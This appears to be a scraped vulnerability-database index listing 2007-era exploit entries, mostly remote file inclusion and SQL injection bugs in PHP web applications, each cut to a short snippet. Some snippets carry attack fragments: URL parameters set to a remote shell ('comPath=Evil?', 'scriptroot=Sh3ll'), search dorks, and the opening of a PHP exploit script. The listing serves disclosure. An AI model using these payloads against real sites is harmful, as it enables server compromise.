Immunity Canvas: NCASTER_INCLUDE

Name| ncasterinclude ---|--- CVE| CVE-2007-4320 Exploit Pack| CANVAS Description| Ncaster Remote Include Notes| CVE Name: CVE-2007-4320 VENDOR: ncastercms.com CVE Url: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4320 Repeatability: Infinite CVSS: 7.5...

Immunity Canvas: PBD_INCLUDE

Name| pbdinclude ---|--- CVE| CVE-2007-4313 Exploit Pack| CANVAS Description| Php Blue Dragon CMS Remote Include Notes| CVSS: 6.8 Repeatability: Infinite VENDOR: phpbluedragon.pl CVE Url: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4313 CVE Name: CVE-2007-4313...

mcNews (skinfile) Remote File Include Vulnerability

------------------------------------------------------------------------------------------------------------------- MEFISTO PreSents... Script: mcNews Script Download: ftp://ftp1.comscripts.com/PHP/845mcnews-13.zip Contact: ilker Kandemir ilkerkandemiratmynet.com info: / MEFISTO /...

0day Linkliste Version 1.2 Remote File Include by iNs

Hi ,founded a new bug on this script ,I wanted to ask you if you could post it in securityvulns.com thanks in advance .. iNs Here what should be posted : App Name : Linkliste Version 1.2 HomePage : http://www.mapos-scripts.de/downloads.php?download=3 Vuln type : Remote File Include RFI Vuln...

phpDVD v1.0.4 (dvd_config_file) Remote File Include Exploit

!/usr/bin/php -q -d shortopentag=on ? print ' //'=============================================================================================== //'Script : phpDVD v1.0.4 //'Author : iLker Kandemir ilkerkandemiratmynet.com //'S.Page : http://ugo.scarlata.it/phpdvd/phpDVD-1.0.4.tar.gz //'Dork :...

Beautifier Version 0.1 Remote File Include Vulnerability // MefistoLabs.Com

------------------------------------------------------------------------------------------------------------------- MefistoLabs.Com PreSents... Script: Beautifier Version 0.1 Script Download1: http://www.beautifier.org/php/beautifier-php-full-current.tar.gz Script Download2:...

Openads (PHPAdsNew) 2.0.8 - lib-remotehost.inc.php Remote File Inclusion

Openads PHPAdsNew 2.0.8 - lib-remotehost.inc.php Remote File Inclusion source: https://www.securityfocus.com/bid/25277/info Openads formerly known as phpAdsNew is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may...

FishCart <= 3.2 RC2 (fc_example.php) Remote File Inclusion Vulnerability

No description provided by source. fishcartv3 fcexample.php Remote File Include Vulnerability +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Scripts : fishcartv3 Discovered By : k1n9k0ng Scripts site : http://fishcart.org/fcinstallersnap20070803.zip...

Php Blue Dragon CMS 3.0.0 Remote Code Execution Exploit

Exploit for unknown platform in category web applications ======================================================= Php Blue Dragon CMS 3.0.0 Remote Code Execution Exploit ======================================================= 126 $result.=" ."; else $result.=" ".$string$i; if...

Immunity Canvas: FRONTACCOUNT_INCLUDE

Name| frontaccountinclude ---|--- CVE| CVE-2007-4279 Exploit Pack| CANVAS Description| FrontAccounting Remote Include Notes| CVSS: 7.5 Repeatability: Infinite VENDOR: Front Accounting CVE Url: https://vulners.com/cve/CVE-2007-4279 CVE Name: CVE-2007-4279...

Web News 1.1 - index.php?config[root_ordner] Remote File Inclusion

Web News 1.1 - index.php?configrootordner Remote File Inclusion source: https://www.securityfocus.com/bid/25257/info WebNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to...

fishcart-rfi.txt

fishcartv3 fcexample.php Remote File Include Vulnerability +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Scripts : fishcartv3 Discovered By : k1n9k0ng Scripts site : http://fishcart.org/fcinstallersnap20070803.zip http://fishcart.org/fishcartsnap2007080...

Shoutbox 1.0 - Shoutbox.php Remote File Inclusion

Shoutbox 1.0 - Shoutbox.php Remote File Inclusion source: https://www.securityfocus.com/bid/25254/info Shoutbox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application a...

Immunity Canvas: PHPNEWS_INCLUDE

Name| phpnewsinclude ---|--- CVE| CVE-2007-4232 Exploit Pack| CANVAS Description| PHPNews 0.93 Remote Include Notes| Repeatability: Infinite VENDOR: crear.de CVE Url: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4232 CVE Name: CVE-2007-4232...

joomlaj-rfi.txt

///// ///// Yollubunlar.org ///// ///// Title:Joomla J! Reactions Component Remote File İnclude Bug Bug:include"$comPath/custom/".$mosConfiglang.".php"; else Author:Yollubunlar.Org Exploit: administrator/components/comjreactions/langset.php?comPath=Evil? Bugs:...

tourde-rfi.txt

------------Yollubunlar.Org---------------- Title : Tour de France Pool 1.0.1 Remote File İnclude Bug Author : Yollubunlar.Org Orginal : http://yollubunlar.org/our-de-france-pool-101-remote-file-include-43.html Mail : [email protected] Down :...

Guestbook Script 1.9 RFI

Guestbook Script 1.9 Remote File Include Dork:"Guestbook Script 1.9" Vuln Code: /admin/database.php /admin/entries.php /admin/index.php /admin/logout.php /admin/settings.php /delete.php /edit.php /inc/common.inc.php Exploit: www.server.com/path/file.php?scriptroot=Sh3ll =====================...

VietPHP - '_functions.php?dirpath' Remote File Inclusion

source: https://www.securityfocus.com/bid/25226/info VietPHP is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks...

Sql injection

Multiple SQL injection vulnerabilities in IndexScript 2.7 and 2.8 before 20070726 allow remote attackers to execute arbitrary SQL commands via the 1 catid, 2 startid, 3 rowparentid, and 4 rowcatid parameters to unspecified components, related to use of these parameters within include/utils.php...

CVE-2007-4163

Multiple SQL injection vulnerabilities in IndexScript 2.7 and 2.8 before 20070726 allow remote attackers to execute arbitrary SQL commands via the 1 catid, 2 startid, 3 rowparentid, and 4 rowcatid parameters to unspecified components, related to use of these parameters within include/utils.php...